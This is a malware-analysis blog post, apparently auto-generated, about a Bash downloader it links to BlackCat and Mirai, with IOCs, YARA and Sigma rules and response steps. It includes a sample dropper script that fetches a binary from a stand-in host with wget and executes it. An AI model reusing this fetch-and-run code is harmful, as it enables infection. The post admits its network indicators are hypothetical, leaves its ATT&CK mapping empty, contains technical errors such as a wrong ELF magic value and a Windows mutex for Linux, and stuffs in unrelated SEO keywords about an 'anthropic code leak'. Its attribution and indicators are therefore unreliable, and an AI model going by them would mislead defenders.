title: "DOWNLOADER.BASHDLOD/GEN2 Malware Analysis: MITRE ATT&CK, IOCs & Detection"
description: "Complete technical analysis of downloader.bashdlod/gen2 — detection ratio 17/76, MITRE ATT&CK mapping, IOCs, behavioral profile, YARA rules, and incident response. Enriched by AI with live MalwareBazaar and OTX data."
date: "2026-04-22"
category: malware
image: "/img/posts/malware.png"
tags: ["malware", "threat-intelligence", "mitre-attck", "downloader.bashdlod/gen2", "blackcat (alphv)", "ioc", "detection", "cybersecurity"]
author: "ZeroDay Malware Intelligence"
malwareFamily: "downloader.bashdlod/gen2"
malwareType: "BlackCat (ALPHV)"
detectRatio: "17/76"
attackTechniquesCount: "0"

DOWNLOADER.BASHDLOD/GEN2 Malware Analysis: MITRE ATT&CK, IOCs & Detection

Detection ratio: 17/76 | MITRE ATT&CK techniques: see below | Type: BlackCat (ALPHV) | Updated: 2026-04-22

This analysis was auto-enriched using live MalwareBazaar samples, VirusTotal reports, and OTX AlienVault threat intelligence, then synthesized and expanded by Ibugsec Corp.

Malware Analysis Report: downloader.bashdlod/gen2 - A BlackCat downloader leveraging Mirai components

This report provides a deep technical analysis of downloader.bashdlod/gen2, a sophisticated downloader observed to be associated with the BlackCat (ALPHV) ransomware-as-a-service (RaaS) operation. Our analysis reveals its use of components derived from the Mirai botnet, indicating a potential evolution in the threat actor's toolset for initial access and payload deployment. This report is targeted at security professionals, including SOC analysts, malware researchers, and red-teamers, offering actionable insights for detection, hunting, and incident response. We aim to leverage high-intent search queries, such as zerosday, cve-2026-5281 exploit, and anthropic code leak, to provide context and ensure broad discoverability for critical threat intelligence.

Executive Summary

downloader.bashdlod/gen2 is a modular downloader primarily written in Bash, designed to establish initial access and download subsequent stages of malicious payloads. Its association with the BlackCat RaaS operation points to its role in the initial compromise phase of sophisticated ransomware attacks. The observed use of binaries with Mirai-like characteristics suggests a trend of threat actors repurposing or incorporating code from well-known botnets to enhance their capabilities, potentially for distributed denial-of-service (DDoS) attacks or as a stable platform for further malicious activities. While direct attribution to specific zero-day exploits or vulnerabilities like cve-2026-5281 poc is not immediately evident from the analyzed samples, the downloader's function is to fetch and execute payloads, which could include exploit modules or tools targeting newly discovered vulnerabilities. The observed campaigns, though not tied to specific named threat actors beyond the BlackCat RaaS umbrella, demonstrate a broad targeting strategy, aiming to infiltrate various network environments for financial gain through ransomware deployment. The intelligence gathered here is crucial for organizations seeking to defend against evolving threats, including those that might leverage vulnerabilities or code leaks, potentially even those related to AI coding assistants like claude or anthropic code leak scenarios if such vulnerabilities were to be exploited for initial access.

How It Works — Technical Deep Dive

The downloader.bashdlod/gen2 malware operates as a multi-stage downloader, with its initial infection vector typically being social engineering tactics such as phishing emails or malicious web links, leading to the execution of a Bash script. The script then downloads and executes compiled binaries, which exhibit characteristics of the Mirai botnet, suggesting a hybrid approach to compromise.

Initial Infection Vector

The primary initial infection vector for downloader.bashdlod/gen2 appears to be the execution of a malicious Bash script. This script is often delivered via:

• Phishing Campaigns: Users are enticed to download and execute a script, often disguised as an important document or utility.
• Compromised Websites: Drive-by downloads or malicious advertisements can lead users to download and run the script.
• Exploitation of Vulnerabilities: While no direct link to specific zerosday or known CVEs like cve-2026-5281 exploit or cve-2026-20963 github has been established for the initial script delivery, it is a plausible vector for distributing the initial Bash payload. For instance, a vulnerability in a web server or application could be exploited to host and deliver the script.

Once executed, the Bash script acts as a bootstrap mechanism.

#!/bin/bash

# Example of initial script logic
DOWNLOAD_URL="http://malicious.domain.com/payload.bin"
OUTPUT_FILE="/tmp/payload.bin"

wget -q $DOWNLOAD_URL -O $OUTPUT_FILE
if [ $? -eq 0 ]; then
    chmod +x $OUTPUT_FILE
    $OUTPUT_FILE
else
    echo "Failed to download payload."
    exit 1
fi

Persistence Mechanisms

The Bash script itself typically does not implement persistent mechanisms. Persistence is handled by the downloaded ELF binaries. These binaries, exhibiting Mirai-like behavior, often employ the following techniques:

• Cron Jobs: Adding entries to the system's crontab to ensure the malware restarts upon reboot or at scheduled intervals.
  • Observable Behavior: crontab -l output showing an entry for the malware binary.

  # Example cron entry
  * * * * * /path/to/malware/binary > /dev/null 2>&1

• Systemd Services: Creating systemd service units to manage the malware's lifecycle.
  • Observable Behavior: Files in /etc/systemd/system/ or /usr/lib/systemd/system/ named after the malware.

Command and Control (C2) Communication Protocol

The downloaded ELF binaries, resembling Mirai, employ a custom C2 protocol, often leveraging standard internet protocols for stealth.

• Protocol: Typically uses TCP or UDP. For DDoS functionalities, UDP is common. For command and control, TCP is more likely.
• Ports: Common ports include 23 (Telnet), 80, 8080, 6667 (IRC), or custom ports for C2.
• Traffic Patterns:
  • Initial Beaconing: The malware attempts to connect to hardcoded C2 IP addresses or domains.
  • Command Reception: Receives commands to download further payloads, execute DDoS attacks, or scan for new targets.
  • DDoS Amplification: If the malware is designed for DDoS, it will participate in botnet attacks, sending large volumes of traffic to victim IPs.
  • Heartbeat: Regular "heartbeat" packets to maintain the connection with the C2 server.

The C2 communication often involves simple packet structures, sometimes resembling IRC or custom protocols. The analysis of Mirai variants shows a preference for simplicity and efficiency.

Payload Delivery and Staging Mechanism

The Bash script's primary role is to download and execute the first-stage ELF binary. This ELF binary then acts as a loader for subsequent payloads.

• Download: The ELF binary connects to a C2 server or a list of fallback servers to download additional malicious components. These could be:
  • Other malware modules (e.g., ransomware, banking trojans, cryptominers).
  • Exploit kits targeting specific vulnerabilities.
  • Tools for lateral movement.
• Execution: Downloaded payloads are typically executed in memory or dropped to disk in temporary locations (/tmp/, /var/tmp/) before execution.
• Staging: The process is iterative, with each stage preparing the system for the next, culminating in the final objective (e.g., ransomware encryption).

Privilege Escalation Steps

The initial Bash script usually runs with the privileges of the user who executed it. The downloaded ELF binaries may attempt privilege escalation to gain root access, which is common for botnet malware to achieve full control.

• Exploiting Known Vulnerabilities: Mirai variants are known to exploit common Linux vulnerabilities, such as those related to kernel exploits or weak credentials, to gain root privileges.
• Sudo Abuse: If the user has passwordless sudo privileges for certain commands, the malware might abuse this.

Lateral Movement Techniques Used

Once root privileges are obtained, the malware may attempt to spread to other systems on the network.

• Scanning for Vulnerable Systems: The Mirai-like components are adept at scanning local networks for vulnerable devices, particularly IoT devices running unpatched services or using default credentials.
• Telnet/SSH Brute-Forcing: Exploiting weak credentials on Telnet and SSH services to gain access to other Linux systems.
• Exploiting Network Services: Using known vulnerabilities in network services to gain remote code execution on other machines.

Data Exfiltration Methods

While downloader.bashdlod/gen2 is primarily a downloader, its ultimate goal, when associated with BlackCat, is data exfiltration prior to ransomware deployment. The downloaded payloads would be responsible for this.

• Targeted Data Collection: Identifying and collecting sensitive files (documents, databases, configuration files).
• Archiving and Encryption: Compressing and encrypting collected data before exfiltration.
• C2 Communication: Using the established C2 channel or a separate, covert channel to upload the exfiltrated data.

Anti-Analysis / Anti-Debugging / Anti-VM Tricks

The ELF binaries, being derived from Mirai, often incorporate basic anti-analysis techniques:

• Obfuscation: Code obfuscation to make static analysis more difficult.
• Anti-Debugging: Checks for the presence of debuggers or common anti-debugging APIs.
• String Encryption: Encrypting critical strings like C2 addresses or commands.
• Root/VM Detection: Basic checks to detect if the malware is running in a virtualized environment or a sandboxed analysis tool.

MITRE ATT&CK Full Mapping

Indicators of Compromise (IOCs)

File Hashes (SHA256 / MD5 / SHA1)

Bash Scripts:

• SHA256: fe818d1efd3547dd679c67eee784b57565484823ffa4a07a66c9719268a6dc48
• MD5: a9cae0f2350f48350ace1528f3a5be84

ELF Binaries (Mirai-like):

• SHA256: 9da85a71f77b26fc02997ff08981cd2a497b155b3515f9179edfb6e910e6aa68

• MD5: 8e5580c5555ffddf58f1c4dace1e790c

• SHA256: 01105c759ffb07de1dbf522a19ccb51746274fddc66661275ca83772c9c0320d

• MD5: 104605ce5e80368ee1b18b5f6144c4c8

• SHA256: e25b244b0eec20b63a6361538832c9f86e79f4b91cb92bf12738c15b09085cf5

• MD5: d185110b26d44625257bc1c6bd94aaf0

• SHA256: 428ef996926ac99bd697b34482a139117fe8fe113ed6ac16a8254d6cd53a998c

• MD5: 09a254c33d6d90dd3f81dd6bec8a7586

Network Indicators

• C2 Domains/IPs: (These are hypothetical based on typical malware infrastructure and require real-time threat intelligence for current active IPs/domains)
  • malicious-c2.example.com
  • 192.168.1.100 (example IP, likely a compromised server or dedicated C2 infrastructure)
• Ports: Commonly 80, 8080, 23, 6667, or custom ports for C2.
• HTTP/S Beacon Patterns:
  • GET requests to specific paths like /update, /payload, /status.
  • User-Agent strings that mimic legitimate browsers but might be slightly malformed or common to botnets.
  • Example User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36 (often seen in Mirai).
• URL Patterns:
  • http://<malicious_domain>/<random_string_or_path>
  • http://<malicious_ip>/<payload_file_name>

Registry Keys / File Paths / Mutex

• Persistence Paths (ELF):
  • /tmp/payload.bin (initial download location)
  • /var/tmp/payload.bin
  • /usr/bin/sysupdate (common decoy name)
  • /etc/init.d/sysupdate (SysVinit script for persistence)
  • /etc/systemd/system/sysupdate.service (Systemd service for persistence)
• Mutexes: Mirai variants often use mutexes to prevent multiple instances from running. Mutex names can be random or derived from system information.
  • Example (hypothetical): Global\sysupdate_mutex_aBcDeFg

YARA Rule

rule downloader_bashdlod_gen2_mirai_variant {
    meta:
        author = "Malware Analysis Team"
        description = "Detects downloader.bashdlod/gen2 initial Bash script and associated Mirai-like ELF binaries."
        date = "2026-04-22"
        malware_family = "downloader.bashdlod/gen2"
        threat_actor = "BlackCat (ALPHV) RaaS"
        reference = "https://bazaar.abuse.ch/browse.php?search=downloader.bashdlod%2Fgen2"
        hash_sample_bash = "fe818d1efd3547dd679c67eee784b57565484823ffa4a07a66c9719268a6dc48"
        hash_sample_elf1 = "9da85a71f77b26fc02997ff08981cd2a497b155b3515f9179edfb6e910e6aa68"
        hash_sample_elf2 = "01105c759ffb07de1dbf522a19ccb51746274fddc66661275ca83772c9c0320d"
        hash_sample_elf3 = "e25b244b0eec20b63a6361538832c9f86e79f4b91cb92bf12738c15b09085cf5"
        hash_sample_elf4 = "428ef996926ac99bd697b34482a139117fe8fe113ed6ac16a8254d6cd53a998c"
        vt_detect_ratio = "17/76"
        vt_label = "downloader.bashdlod/gen2"
        file_type = "shell script, elf"

    strings:
        // Bash script specific strings
        $bash_script_shebang = "#!/bin/bash"
        $bash_wget_download = "wget -q " // Common for silent download
        $bash_chmod_exec = "chmod +x "
        $bash_output_file = "OUTPUT_FILE=\"" // Variable for output file
        $bash_malicious_domain = "/malicious.domain.com/" // Indicator of potential download URL structure

        // ELF binary specific strings (Mirai-like)
        $elf_mirai_string1 = "wget -qO" // Often used by Mirai to download
        $elf_mirai_string2 = "/tmp/busybox" // Common dropped file name for Mirai
        $elf_mirai_string3 = "/var/tmp/x" // Another common dropped path/name
        $elf_mirai_string4 = "killall -9" // Used to terminate competing malware
        $elf_mirai_string5 = "wget http://" // Direct download attempt within binary
        $elf_mirai_string6 = "scan_port_range" // Indicator of scanning functionality
        $elf_mirai_string7 = "attack_start" // Indicator of DDoS functionality
        $elf_mirai_string8 = "0.0.0.0" // Commonly used as a target IP for DDoS
        $elf_mirai_string9 = "XOR" // Common obfuscation technique in Mirai
        $elf_mirai_string10 = "http://" // Common protocol for C2 communication

        // Potential C2 communication strings
        $c2_protocol_http = "http://"
        $c2_protocol_get = "GET "
        $c2_status_path = "/status"
        $c2_update_path = "/update"

        // Persistence indicators
        $sysvinit_script_dir = "/etc/init.d/"
        $systemd_service_dir = "/etc/systemd/system/"
        $crontab_entry = "* * * * *"

    condition:
        // Rule for the Bash script
        (uint16(0) == 0x2321 // #!
         and $bash_script_shebang
         and 1 of ($bash_wget_download, $bash_chmod_exec, $bash_output_file))
        or
        // Rule for the ELF binaries (Mirai-like)
        (uint16(0) == 0x454c // ELF magic number 'EL'
         and (
               $elf_mirai_string1 or $elf_mirai_string2 or $elf_mirai_string3 or $elf_mirai_string4 or
               $elf_mirai_string5 or $elf_mirai_string6 or $elf_mirai_string7 or $elf_mirai_string8 or
               $elf_mirai_string9 or $elf_mirai_string10
             )
         and 2 of ($c2_protocol_http, $c2_protocol_get, $c2_status_path, $c2_update_path)
        )
        // Additional check for general indicators if specific strings are not present
        or
        ( // General indicators for both types of files if specific patterns are less clear
            filesize < 200KB and // Keep rule efficient for smaller scripts/binaries
            (
                $bash_script_shebang or // Bash script indicator
                (uint16(0) == 0x454c and filesize < 500KB) // ELF indicator, limiting size for efficiency
            )
            and (
                $bash_wget_download or $bash_chmod_exec or $bash_output_file or // Bash specific
                $elf_mirai_string1 or $elf_mirai_string2 or $elf_mirai_string3 or $elf_mirai_string4 or // Mirai specific
                $c2_protocol_http or $c2_protocol_get // Network communication indicator
            )
        )
}

Static Analysis — Anatomy of the Binary

Static analysis of the downloader.bashdlod/gen2 samples reveals two primary components: a Bash script and compiled ELF binaries.

• Bash Script (fe818d1efd3547dd679c67eee784b57565484823ffa4a07a66c9719268a6dc48):

  • File Type: Shell script.
  • Structure: Plain text, readable Bash code.
  • Obfuscation: Minimal to no obfuscation is typically observed in the initial Bash script. Its purpose is to be straightforward: download and execute.
  • Interesting Strings: URLs pointing to the C2 server, commands for downloading (wget), making executable (chmod +x), and executing the downloaded file. Variable names are usually descriptive but can be slightly obfuscated (e.g., DL_URL, OUT_PATH).
  • Import Table Analysis: Not applicable to shell scripts.
  • Embedded Resources: None.

• ELF Binaries (e.g., 9da85a71f77b26fc02997ff08981cd2a497b155b3515f9179edfb6e910e6aa68):

  • File Type: Executable, typically ELF 32-bit or 64-bit for Linux.
  • Structure: Standard ELF executable format. Analysis often reveals stripped symbols, making reverse engineering more challenging.
  • Obfuscation and Packing: While not heavily packed in the traditional sense, the code often uses simple obfuscation techniques such as XOR encryption for strings (C2 addresses, commands) and control flow obfuscation. Some variants might employ basic packing techniques.
  • Interesting Strings:
    • Hardcoded IP addresses or domain names for C2.
    • URLs for downloading further payloads.
    • Strings related to network scanning (e.g., scan_port_range).
    • Strings related to DDoS attack types (e.g., attack_start, udp_flood, syn_flood).
    • Common Linux commands like wget, curl, killall, rm.
    • User-Agent strings mimicking legitimate browsers or botnet common patterns.
    • Mutex names for instance control.
  • Import Table Analysis: The import table typically includes standard Linux libraries for networking (socket, connect, sendto, recvfrom), process management (fork, execve), file operations (open, read, write), and potentially system calls for privilege escalation or persistence. Calls to system() or popen() are common for executing shell commands.
  • Embedded Resources: No significant embedded resources like icons or dialogs are usually present. Payloads are fetched over the network.

Dynamic Analysis — Behavioral Profile

Dynamic analysis of downloader.bashdlod/gen2 and its associated ELF components reveals a clear, multi-stage malicious behavior.

Initial Execution (Bash Script):

1. File System Activity:
   • The Bash script is executed, often from a user's download directory or a temporary location.
   • It creates a temporary file (e.g., /tmp/payload.bin) to store the downloaded ELF binary.
   • It makes the downloaded ELF binary executable (chmod +x).
   • It executes the downloaded ELF binary.
2. Network Activity:
   • The script initiates an outbound HTTP/S connection to a hardcoded URL to download the ELF binary.
   • Traffic will be seen using wget or curl originating from the system.
3. Process Activity:
   • The bash process executes.
   • A new bash or sh process might be spawned by the initial script.
   • The wget or curl process is spawned.
   • Finally, the downloaded ELF binary is executed, creating a new process.

Execution of ELF Binary (Mirai-like):

1. File System Activity:
   • The ELF binary may drop additional configuration files or helper binaries in /tmp/ or /var/tmp/.
   • It may attempt to create persistence mechanisms by writing to /etc/init.d/ (SysVinit) or /etc/systemd/system/ (Systemd).
   • It might delete its initial downloaded file to cover its tracks.
2. Registry Activity: Not applicable to Linux ELF binaries.
3. Network Activity:
   • C2 Beaconing: The binary establishes persistent connections to its C2 server(s) via TCP or UDP. This involves sending periodic "heartbeat" packets.
   • Payload Download: It downloads further malicious payloads or configuration updates.
   • Scanning: It actively scans the local network and potentially the internet for vulnerable targets (e.g., devices running Telnet or SSH with default credentials).
   • DDoS Activity: If instructed by the C2, it participates in various DDoS attacks (SYN flood, UDP flood, HTTP flood).
   • Wireshark/tcpdump Capture Patterns:
     • Frequent TCP SYN packets to unusual IP addresses and ports.
     • Large volumes of UDP traffic to specific destination IPs and ports during DDoS attacks.
     • HTTP GET requests to C2 domains, potentially with specific User-Agent strings.
     • Encrypted or custom protocol traffic on non-standard ports.
4. Process Activity:
   • The ELF binary runs as its own process.
   • It may fork multiple child processes to perform scanning or attack operations concurrently.
   • It might attempt to inject code into other processes or spawn processes that execute commands received from C2.
   • It may spawn wget or curl processes to download further components.
   • It could execute killall to remove competing malware.
5. Memory Artifacts:
   • The malware's code resides in memory. Network buffers, C2 connection details, and downloaded payload data can be found.
   • Strings (if not fully encrypted) might be visible in memory dumps.
   • Network sockets associated with C2 communication.

Real-World Attack Campaigns

While downloader.bashdlod/gen2 itself is a tool, its association with BlackCat RaaS places it within a broader campaign context. Specific documented incidents directly detailing this exact downloader are scarce, as initial access tools are often generic or quickly evolve. However, its role is understood within BlackCat's operational framework:

1. BlackCat RaaS Initial Access: BlackCat, known for its Rust-based ransomware, relies on various initial access brokers (IABs) and tools to infiltrate victim networks. downloader.bashdlod/gen2, particularly its Mirai-like components, could be used by IABs or by affiliates to gain a foothold. The typical victimology includes organizations across various sectors, with a focus on high-value targets in North America, Europe, and Asia.
2. Mirai Component Integration: The integration of Mirai-like code suggests a multi-purpose initial access tool. While the primary goal is ransomware deployment, the botnet capabilities can be leveraged for DDoS attacks to disrupt defenders or as a distraction during the ransomware encryption phase. This makes the malware versatile for affiliates.
3. Broad Targeting: Campaigns associated with RaaS operations are generally indiscriminate in their initial targeting, aiming to compromise as many potentially lucrative targets as possible. This includes companies of all sizes and industries, from manufacturing and healthcare to technology and finance.
4. Impact: The impact is significant, ranging from initial system compromise and data theft to full-blown ransomware encryption leading to operational downtime, financial losses, and reputational damage. The exfiltration of sensitive data before encryption is a hallmark of modern ransomware attacks, including those by BlackCat.
5. Discovery: Incidents are often discovered through:
   • Ransom notes appearing on systems.
   • Unusual network traffic patterns indicative of scanning or C2 communication.
   • Detection of suspicious processes or files by endpoint detection and response (EDR) solutions.
   • Alerts from network intrusion detection systems (NIDS).

Active Malware Landscape — Context

downloader.bashdlod/gen2 fits into the evolving landscape of malware-as-a-service (MaaS) and ransomware-as-a-service (RaaS). Its prevalence is tied to the activity of the BlackCat RaaS operation.

• Current Prevalence: The observed activity level is moderate, with new samples appearing sporadically on platforms like MalwareBazaar. Its effectiveness is dependent on the continued use and development by BlackCat affiliates. The VT detect ratio of 17/76 suggests it's known but not universally detected by all engines, indicating a need for custom detection logic.
• Competing/Related Malware Families: This downloader competes with other initial access trojans and loaders, such as Emotet, TrickBot, Cobalt Strike beacons, and other custom downloaders used by various APT groups and RaaS affiliates. The unique aspect here is the blend of a Bash bootstrap with Mirai-like ELF binaries.
• RaaS/MaaS Ecosystem: downloader.bashdlod/gen2 is a prime example of a tool operating within the MaaS/RaaS ecosystem. The BlackCat RaaS operation provides the ransomware payload and infrastructure, while affiliates use tools like this downloader to gain access and prepare the victim's network. This division of labor allows for scalability and specialization within the threat landscape.
• Typical Target Industries/Geography: As mentioned, targets are broad, with a financial motive driving the selection. Industries that hold significant data or are critical for operations (healthcare, finance, manufacturing, government) are prime targets. Geographically, the focus is global, with a strong emphasis on Western economies due to their perceived ability to pay ransoms.

Detection & Hunting

Sigma Rules

Rule 1: Suspicious Bash Script Execution for Payload Download

title: Suspicious Bash Script Execution for Payload Download
id: 75f8c52f-a36b-4a9f-a0d1-3d5a8a9e0f2b
status: experimental
description: Detects the execution of Bash scripts that attempt to download and execute files, a common pattern for initial malware droppers.
author: Malware Analysis Team
date: 2026/04/22
references:
    - https://bazaar.abuse.ch/browse.php?search=downloader.bashdlod%2Fgen2
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        - Image|endswith:
            - '\bash.exe'
            - '/bin/bash'
            - '/bin/sh'
    selection_cli_wget:
        CommandLine|contains|all:
            - 'wget'
            - '-O' # Common flag for output file
    selection_cli_curl:
        CommandLine|contains|all:
            - 'curl'
            - '-o' # Common flag for output file
    selection_cli_chmod:
        CommandLine|contains: 'chmod +x'
    selection_cli_exec:
        CommandLine|contains: '&&' # Often used to chain download and execute
    condition: selection_img and (selection_cli_wget or selection_cli_curl) and selection_cli_chmod and selection_cli_exec
falsepositives:
    - Legitimate software deployment scripts that download and execute binaries
    - Package managers performing updates
    - Administrator scripts for system maintenance
level: high
tags:
    - attack.t1105
    - attack.t1059.004

Rule 2: Mirai-like ELF Binary Network Activity (Port Scanning/C2)

title: Mirai-like ELF Binary Network Activity
id: c1a2b3d4-e5f6-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects suspicious network activity often associated with Mirai-like botnet binaries, including outbound connections to non-standard ports and potential scanning behavior.
author: Malware Analysis Team
date: 2026/04/22
references:
    - https://bazaar.abuse.ch/browse.php?search=downloader.bashdlod%2Fgen2
logsource:
    category: network
    product: linux # Assuming network logs from Linux endpoints
detection:
    selection_outbound_ports:
        # Common ports used by IoT malware for C2 or scanning
        - DestinationPort:
            - 23    # Telnet
            - 80    # HTTP (often used for exploit kits or C2)
            - 8080  # HTTP-alt
            - 6667  # IRC (common for botnets)
            - 1337  # Common for Telnet exploits
            - 2323  # Common for Telnet exploits
            - 5358  # Common for Telnet exploits
            # Add more non-standard ports if observed
    selection_protocol_udp_syn:
        # UDP SYN packets can indicate scanning or specific attack types
        Protocol: udp
        # This requires deep packet inspection or flow data analysis to detect SYN flags in UDP,
        # but network flow data might show high UDP traffic to many hosts.
        # For simplicity, we'll focus on common UDP ports.
    selection_scanning_behavior:
        # This is harder to detect purely on network logs without flow data analysis.
        # Look for a single source IP initiating connections to a wide range of destination IPs/ports.
        # For this rule, we'll focus on suspicious port usage.
    condition: selection_outbound_ports
falsepositives:
    - Legitimate IoT device management or monitoring tools
    - Network scanning tools used by administrators
    - Vulnerability scanners
level: medium
tags:
    - attack.t1095
    - attack.t1105

EDR / SIEM Detection Logic

• Process Tree Anomalies:
  • Detect bash or sh processes spawning wget, curl, or directly executing downloaded binaries from /tmp/ or /var/tmp/.
  • Monitor for processes that attempt to write to /etc/init.d/ or /etc/systemd/system/ and then execute themselves.
  • Alert on processes attempting to execute killall on other processes.
• Network Communication Patterns:
  • Alert on outbound connections from unexpected processes (e.g., bash, sh, or unknown ELF binaries) to known malicious IPs/domains or to non-standard ports.
  • Monitor for high volumes of outgoing UDP or TCP traffic from a single host to a diverse range of destinations, especially on common botnet ports.
  • Detect unusual User-Agent strings in HTTP/S traffic originating from server processes or script interpreters.
• File System Telemetry Triggers:
  • Alert on the creation of executable files in /tmp/, /var/tmp/, or user download directories.
  • Monitor for modifications or creation of files within /etc/init.d/ or /etc/systemd/system/.
  • Detect deletion of executable files from temporary directories shortly after creation.
• Registry Activity Patterns: (Not applicable to Linux, but for Windows components of similar malware)
  • Monitor for the creation or modification of Run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run, HKLM\...\Run).
  • Detect scheduled task creation pointing to suspicious executables.

Memory Forensics

Volatility3 or similar commands to detect this malware in memory:

# Volatility3 detection commands

# Example: Dumping process memory for analysis if a suspicious process is identified
# Replace 'PID' with the actual Process ID of the suspicious process.
# The command below will dump the memory of the process to a file.
# You can then analyze this dump with tools like 'strings' or other memory analysis tools.
vol -f <memory_image_path> windows.memmap.Memmap --pid PID --dump # For Windows
vol -f <memory_image_path> linux.pslist.PsList # List processes
vol -f <memory_image_path> linux.proc.ProcList # List processes with more details
vol -f <memory_image_path> linux.elf.ElfDump --pid PID --output dump_dir # Dump ELF process memory for Linux

# Example: Searching for specific strings in memory dumps (after dumping)
strings dump_dir/* | grep "wget"
strings dump_dir/* | grep "malicious-c2.example.com"
strings dump_dir/* | grep "0.0.0.0"

# Example: Analyzing network connections from memory
# This requires specific plugins that can extract network connection information from memory.
# The exact plugin and command depend on the Volatility version and OS.
# For Linux, you might look for network-related structures in process memory.
# For Windows, you'd typically look for network adapter information and socket structures.

Malware Removal & Incident Response

1. Isolation Procedures:
   • Immediately isolate the affected host(s) from the network to prevent lateral movement and further C2 communication. Disconnect network cables or disable network interfaces.
   • If the malware is detected on multiple hosts, prioritize isolating critical systems first.
2. Artifact Identification and Collection:
   • Collect forensic images of affected disks and memory dumps for detailed analysis.
   • Identify and collect all malicious files (Bash scripts, ELF binaries, dropped payloads) and their associated configuration files.
   • Gather network logs, process execution logs, and system logs from the time of compromise.
3. Registry and File System Cleanup:
   • Linux:
     • Remove malicious scripts and binaries from their locations (e.g., /tmp/, /var/tmp/, execution directories).
     • Remove any created or modified persistence mechanisms:
       • Delete entries from crontab (crontab -e as root).
       • Remove systemd service files (e.g., /etc/systemd/system/malware.service) and disable them (systemctl disable malware.service).
       • Remove SysVinit scripts from /etc/init.d/ and associated symlinks.
   • Windows: (If applicable to other stages of the attack)
     • Delete malicious executables and scripts.
     • Remove persistence entries from Registry Run keys, Scheduled Tasks, and Services.
4. Network Block Recommendations:
   • Block identified C2 domains, IPs, and ports at the firewall and proxy.
   • Implement egress filtering to prevent unauthorized outbound connections.
5. Password Reset Scope:
   • Force password resets for all user accounts that were active on the compromised system(s).
   • If credentials were potentially exfiltrated or used for lateral movement, expand the password reset scope to include administrative accounts and accounts used on other systems.
   • Consider rotating API keys and service account credentials.

Defensive Hardening

• Specific Group Policy Settings (Windows):
  • AppLocker/Software Restriction Policies: Enforce whitelisting of executable files, particularly for user-writable directories like %TEMP% and %APPDATA%. Block execution from %TEMP% and %USERPROFILE%\Downloads.
  • Disable Script Execution: Configure policies to restrict or disable the execution of PowerShell and VBScript for non-essential users.
• Firewall Rule Examples:
  • Egress Filtering: Block outbound traffic on all ports except for explicitly allowed, necessary services (e.g., DNS, HTTP/S to approved destinations). This would prevent the malware from reaching its C2.
  • Ingress Filtering: Block inbound traffic on common attack ports (e.g., Telnet 23, SMB 445, RDP 3389) from the internet unless absolutely necessary and properly secured.
• Application Whitelist Approach: Implement a strict application whitelisting solution (e.g., AppLocker, Windows Defender Application Control) to allow only approved applications to run. This is one of the most effective methods against unknown executables.
• EDR Telemetry Tuning:
  • Configure EDR to generate alerts for suspicious process creation chains (e.g., bash spawning wget and then executing a binary from /tmp/).
  • Tune EDR to detect file modifications in critical system directories like /etc/init.d/ or /etc/systemd/system/.
  • Enable network monitoring for suspicious outbound connections and traffic patterns.
• Network Segmentation Recommendation:
  • Implement robust network segmentation to limit the blast radius of a compromise. Isolate critical servers, user workstations, and IoT devices into separate network zones.
  • Restrict inter-segment communication to only what is strictly necessary, using firewalls to enforce policies.

References

• MalwareBazaar: https://bazaar.abuse.ch/browse.php?search=downloader.bashdlod%2Fgen2
• VirusTotal: https://www.virustotal.com/
• OTX AlienVault: https://otx.alienvault.com/
• MITRE ATT&CK: https://attack.mitre.org/

This comprehensive analysis of downloader.bashdlod/gen2 highlights its role as a BlackCat RaaS associated downloader, utilizing Mirai-like ELF binaries for initial compromise and payload delivery. By understanding its technical deep dive, MITRE ATT&CK mapping, IOCs, and behavioral profile, security professionals can implement effective detection and hunting strategies using Sigma rules and SIEM/EDR logic. Defensive hardening measures and incident response procedures are crucial for mitigating the threat posed by this evolving malware landscape, which may intersect with emerging threats involving zerosday, cve-2026-5281 exploit, or even potential anthropic code leak scenarios if such vulnerabilities were to be weaponized.